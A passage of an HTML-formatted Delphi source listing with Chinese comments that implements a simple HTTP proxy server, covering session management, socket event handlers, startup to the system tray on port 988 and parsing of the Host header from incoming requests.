{是否正在查找服务器}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LookupTime: integer;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {查找服务器时间}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Request: boolean;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {是否有请求}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; request_str: string;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {请求数据块}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; client_connected: boolean;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {客户机联机标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; remote_connected: boolean;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {远程服务器连接标志}<BR>end;</P>
<P>type<BR>&nbsp; TForm1 = class(TForm)<BR>&nbsp;&nbsp;&nbsp; ServerSocket1: TServerSocket;<BR>&nbsp;&nbsp;&nbsp; ClientSocket1: TClientSocket;<BR>&nbsp;&nbsp;&nbsp; Timer2: TTimer;<BR>&nbsp;&nbsp;&nbsp; TrayIcon1: TTrayIcon;<BR>&nbsp;&nbsp;&nbsp; PopupMenu1: TPopupMenu;<BR>&nbsp;&nbsp;&nbsp; N11: TMenuItem;<BR>&nbsp;&nbsp;&nbsp; N21: TMenuItem;<BR>&nbsp;&nbsp;&nbsp; N1: TMenuItem;<BR>&nbsp;&nbsp;&nbsp; N01: TMenuItem;<BR>&nbsp;&nbsp;&nbsp; Memo1: TMemo;<BR>&nbsp;&nbsp;&nbsp; Edit1: TEdit;<BR>&nbsp;&nbsp;&nbsp; Label1: TLabel;<BR>&nbsp;&nbsp;&nbsp; Timer1: TTimer;<BR>&nbsp;&nbsp;&nbsp; procedure Timer2Timer(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; procedure N11Click(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; procedure FormCreate(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; procedure FormClose(Sender: TObject; var Action: TCloseAction);<BR>&nbsp;&nbsp;&nbsp; procedure N21Click(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; procedure N01Click(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; procedure ServerSocket1ClientConnect(Sender: TObject;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Socket: TCustomWinSocket);<BR>&nbsp;&nbsp;&nbsp; procedure ServerSocket1ClientDisconnect(Sender: TObject;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Socket: TCustomWinSocket);<BR>&nbsp;&nbsp;&nbsp; procedure ServerSocket1ClientError(Sender: TObject;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var ErrorCode: Integer);<BR>&nbsp;&nbsp;&nbsp; procedure ServerSocket1ClientRead(Sender: TObject;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Socket: TCustomWinSocket);<BR>&nbsp;&nbsp;&nbsp; procedure ClientSocket1Connect(Sender: TObject;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Socket: TCustomWinSocket);<BR>&nbsp;&nbsp;&nbsp; procedure ClientSocket1Disconnect(Sender: TObject;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Socket: TCustomWinSocket);<BR>&nbsp;&nbsp;&nbsp; procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ErrorEvent: TErrorEvent; var ErrorCode: Integer);<BR>&nbsp;&nbsp;&nbsp; procedure ClientSocket1Write(Sender: TObject;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Socket: TCustomWinSocket);<BR>&nbsp;&nbsp;&nbsp; procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);<BR>&nbsp;&nbsp;&nbsp; procedure ServerSocket1Listen(Sender: TObject;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Socket: TCustomWinSocket);<BR>&nbsp;&nbsp;&nbsp; procedure AppException(Sender: TObject; E: Exception);<BR>&nbsp;&nbsp;&nbsp; procedure Timer1Timer(Sender: TObject);<BR>&nbsp; private<BR>&nbsp;&nbsp;&nbsp; { Private declarations }<BR>&nbsp; public<BR>&nbsp;&nbsp;&nbsp; Service_Enabled: boolean;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {代理服务是否开启}<BR>&nbsp;&nbsp;&nbsp; session: array of session_record;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {会话数组}<BR>&nbsp;&nbsp;&nbsp; sessions: integer;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {会话数}<BR>&nbsp;&nbsp;&nbsp; LookUpTimeOut: integer;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {连接超时值}<BR>&nbsp;&nbsp;&nbsp; InvalidRequests: integer;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {无效请求数}<BR>&nbsp; end;</P>
<P>var<BR>&nbsp; Form1: TForm1;</P>
<P>implementation</P>
<P>{$R *.DFM}</P>
<P>//系统启动定时器，启动窗显示完成后，缩小到System Tray…<BR>procedure TForm1.Timer2Timer(Sender: TObject);<BR>begin<BR>&nbsp;&nbsp; timer2.Enabled:=false;&nbsp;&nbsp;&nbsp;&nbsp; {关闭定时器}<BR>&nbsp;&nbsp; sessions:=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {会话数=0}<BR>&nbsp;&nbsp; Application.OnException := AppException;&nbsp;&nbsp;&nbsp;&nbsp; {为了屏蔽代理服务器出现的异常}<BR>&nbsp;&nbsp; invalidRequests:=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0错误}<BR>&nbsp;&nbsp; LookUpTimeOut:=60000;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {超时值=1分钟}<BR>&nbsp;&nbsp; timer1.Enabled:=true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {打开定时器}<BR>&nbsp;&nbsp; n11.Enabled:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {开启服务菜单项失效}<BR>&nbsp;&nbsp; n21.Enabled:=true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {关闭服务菜单项有效}<BR>&nbsp;&nbsp; serversocket1.Port:=988;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {代理服务器端口=988}<BR>&nbsp;&nbsp; serversocket1.Active:=true;&nbsp;&nbsp;&nbsp; {开启服务}<BR>&nbsp;&nbsp; form1.hide;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {隐藏界面，缩小到System Tray上}<BR>end;</P>
<P>//开启服务菜单项…<BR>procedure TForm1.N11Click(Sender: TObject);<BR>begin<BR>&nbsp;&nbsp; serversocket1.Active:=true;&nbsp;&nbsp;&nbsp; {开启服务}<BR>end;</P>
<P><BR>//停止服务菜单项…<BR>procedure TForm1.N21Click(Sender: TObject);<BR>begin<BR>&nbsp;&nbsp; serversocket1.Active:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {停止服务}<BR>&nbsp;&nbsp; N11.Enabled:=True;<BR>&nbsp;&nbsp; N21.Enabled:=False;<BR>&nbsp;&nbsp; Service_Enabled:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {标志清零}<BR>end;</P>
<P><BR>//主窗口建立…<BR>procedure TForm1.FormCreate(Sender: TObject);<BR>begin<BR>&nbsp;&nbsp; Service_Enabled:=false;<BR>&nbsp;&nbsp; timer2.Enabled:=true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {窗口建立时，打开定时器}<BR>end;</P>
<P>//窗口关闭时…<BR>procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);<BR>begin<BR>&nbsp;&nbsp; timer1.Enabled:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {关闭定时器}<BR>&nbsp;&nbsp; if Service_Enabled then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serversocket1.Active:=false;&nbsp;&nbsp; {退出程序时关闭服务}<BR>end;</P>
<P>//退出程序按钮…<BR>procedure TForm1.N01Click(Sender: TObject);<BR>begin<BR>&nbsp;&nbsp; form1.Close;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {退出程序}<BR>end;</P>
<P>//开启代理服务后…<BR>procedure TForm1.ServerSocket1Listen(Sender: TObject;<BR>&nbsp; Socket: TCustomWinSocket);<BR>begin<BR>&nbsp;&nbsp; Service_Enabled:=true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {置正在服务标志}<BR>&nbsp;&nbsp; N11.Enabled:=false;<BR>&nbsp;&nbsp; N21.Enabled:=true;<BR>end;</P>
<P>//被代理端连接到代理服务器后，建立一个会话，并与套接字绑定…<BR>procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;<BR>&nbsp; Socket: TCustomWinSocket);<BR>var<BR>i,j: integer;<BR>begin<BR>&nbsp;&nbsp; j:=-1;<BR>&nbsp;&nbsp; for i:=1 to sessions do&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {查找是否有空白项}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not session[i-1].Used and not session[i-1].CSocket.active then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; j:=i-1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {有，分配它}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[j].Used:=true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {置为在用}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not session[i-1].Used and session[i-1].CSocket.active then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].CSocket.active:=false;<BR>&nbsp;&nbsp; if j=-1 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {无，新增一个}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; j:=sessions;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(sessions);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(session,sessions);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[j].Used:=true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {置为在用}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[j].CSocket:=TClientSocket.Create(nil);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[j].CSocket.OnConnect:=ClientSocket1Connect;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[j].CSocket.OnDisconnect:=ClientSocket1Disconnect;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[j].CSocket.OnError:=ClientSocket1Error;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[j].CSocket.OnRead:=ClientSocket1Read;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[j].CSocket.OnWrite:=ClientSocket1Write;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[j].Lookingup:=false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; session[j].SS_Handle:=socket.socketHandle;&nbsp;&nbsp;&nbsp; {保存句柄，实现绑定}<BR>&nbsp;&nbsp; session[j].Request:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {无请求}<BR>&nbsp;&nbsp; session[j].client_connected:=true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {客户机已连接}<BR>&nbsp;&nbsp; session[j].remote_connected:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {远程未连接}<BR>&nbsp;&nbsp; edit1.text:=inttostr(sessions);<BR>end;</P>
<P>//被代理端断开时…<BR>procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;<BR>&nbsp; Socket: TCustomWinSocket);<BR>var<BR>i,j,k: integer;<BR>begin<BR>&nbsp;&nbsp; for i:=1 to sessions do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (session[i-1].SS_Handle=socket.SocketHandle) and session[i-1].Used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].client_connected:=false;&nbsp;&nbsp; {客户机未连接}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if session[i-1].remote_connected then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].CSocket.active:=false&nbsp;&nbsp; {假如远程尚连接，断开它}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].Used:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {假如两者都断开，则置释放资源标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; j:=sessions;<BR>&nbsp;&nbsp; k:=0;<BR>&nbsp;&nbsp; for i:=1 to j do&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {统计会话数组尾部有几个未用项}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if session[j-i].Used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(k);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; if k&gt;0 then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {修正会话数组，释放尾部未用项}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sessions:=sessions-k;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(session,sessions);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; edit1.text:=inttostr(sessions);<BR>end;</P>
<P>//通信错误出现时…<BR>procedure TForm1.ServerSocket1ClientError(Sender: TObject;<BR>&nbsp; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;<BR>&nbsp; var ErrorCode: Integer);<BR>var<BR>i,j,k: integer;<BR>begin<BR>&nbsp;&nbsp; for i:=1 to sessions do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (session[i-1].SS_Handle=socket.SocketHandle) and session[i-1].Used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].client_connected:=false;&nbsp;&nbsp; {客户机未连接}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if session[i-1].remote_connected then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].CSocket.active:=false&nbsp;&nbsp; {假如远程尚连接，断开它}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].Used:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {假如两者都断开，则置释放资源标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; j:=sessions;<BR>&nbsp;&nbsp; k:=0;<BR>&nbsp;&nbsp; for i:=1 to j do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if session[j-i].Used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(k);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; if k&gt;0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sessions:=sessions-k;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(session,sessions);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; edit1.text:=inttostr(sessions);<BR>&nbsp;&nbsp; errorcode:=0;<BR>end;</P>
<P>//被代理端发送来页面请求时…<BR>procedure TForm1.ServerSocket1ClientRead(Sender: TObject;<BR>&nbsp; Socket: TCustomWinSocket);<BR>var<BR>tmp,line,host: string;<BR>i,j,port: integer;<BR>begin<BR>&nbsp;&nbsp; for i:=1 to sessions do&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {判断是哪一个会话}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if session[i-1].Used and (session[i-1].SS_Handle=socket.sockethandle) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].request_str:=socket.ReceiveText;&nbsp; {保存请求数据}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tmp:=session[i-1].request_str;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {存放到临时变量}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memo1.lines.add(tmp);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; j:=pos(char(13)+char(10),tmp);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {一行标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while j&gt;0 do&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {逐行扫描请求文本，查找主机地址}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; line:=copy(tmp,1,j-1);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {取一行}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; delete(tmp,1,j+1);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {删除一行}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; j:=pos('Host',line);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {主机地址标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if j&gt;0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; delete(line,1,j+5);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {删除前面的无效字符}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; j:=pos(':',line);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if j&gt;0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; host:=copy(line,1,j-1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 